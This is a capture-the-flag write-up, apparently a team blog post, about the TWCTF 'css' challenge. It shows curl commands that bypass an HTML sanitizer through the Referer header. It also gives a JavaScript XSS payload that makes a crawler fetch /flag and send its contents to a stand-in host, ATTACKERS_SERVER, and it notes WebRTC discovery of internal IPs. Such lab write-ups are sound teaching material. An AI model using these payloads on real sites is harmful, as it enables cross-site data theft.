Overview

Problem page:
http://css.chal.ctf.westerns.tokyo/

Provided source code:
proxy.py
sanitizer.py

There are 4 pages: /, /refresh, /chrowler, /flag.

When we access /flag, it responses only local IP is allowed. (your IP: 110.3.193.114).
So, we should use /chrowler (crawler using Chrome) to get the content in /flag.

Find XSS

Next, we search XSS and found /refresh has it. (We found the vulnerability when browsing with w3m)
In this page, user will be redirected to the page where he or she is (which represented by Referer header).

curl -H 'Referer: blahblahblah"><' http://css.chal.ctf.westerns.tokyo/refresh

<!doctype html>
<html>
  <meta http-equiv="refresh" content="0;URL=blahblahblah"><">

And the Referer is sanitized with htmlsanitize but it is bypassed as below:

curl -H 'Referer: "><sona=cript>alert()</sona=cript>' http://css.chal.ctf.westerns.tokyo/refresh

<!doctype html>
<html>
  <meta http-equiv="refresh" content="0;URL="><script>alert()</script>">

Exploit XSS

In proxy which is used by crawler, urlsanitize is used.
Crawler can not access to http://attacker/?"><script>alert()</script>.
So another technique is required to exploit XSS.

We use history.pushState to set attack code in Referer.

After crawler access the page below, it sends the contents of /flag.

<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://css.chal.ctf.westerns.tokyo/refresh';
</script>

Local IP Detection

But the content which is send by crawler is: only local IP is allowed. (your IP: 104.215.63.152)

What to do next?
Access to localhost of crawler? No.

After some trials, we tried to detect local IP address of crawler and web server with WebRTC.
( WebRTC is useful technique to detect local IP address: https://github.com/diafygi/webrtc-ips )

It turns out that crawler is 192.168.0.5 and web server is 192.168.0.4.

We fixed the attack code.

<script>
payload = `"><scrona=ipt>
getFlag = async () => {
  content = await fetch('/flag');
  await fetch('http://ATTACKERS_SERVER/' + btoa(await content.text()));
};
getFlag()
</scrona=ipt>
`;
history.pushState({}, "", "a.html?a=" + encodeURIComponent(payload));
location.href = 'http://192.168.0.4/refresh'; // this line changed
</script>

And finally we got flag!

TWCTF{cl0ck-cr4ck-c1ick}

カテゴリー: CTF

5件のコメント

hammer · 2017年9月7日 2:09 PM

sorry, i can use your method to get the ip 192.168.0.5, but i don’t know how to get the ip 192.168.0.4. so, how can you get it? i want to learn it. thank you 🙂

n4p5ter · 2017年9月9日 8:44 PM

Was it possible to use DNS rebinding attack and not use xss on /refresh ?

    tyage · 2017年9月11日 11:21 AM

    Remote browser is killed in a few seconds at most, so I think DNS rebinding attack does not work in this challenge.

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です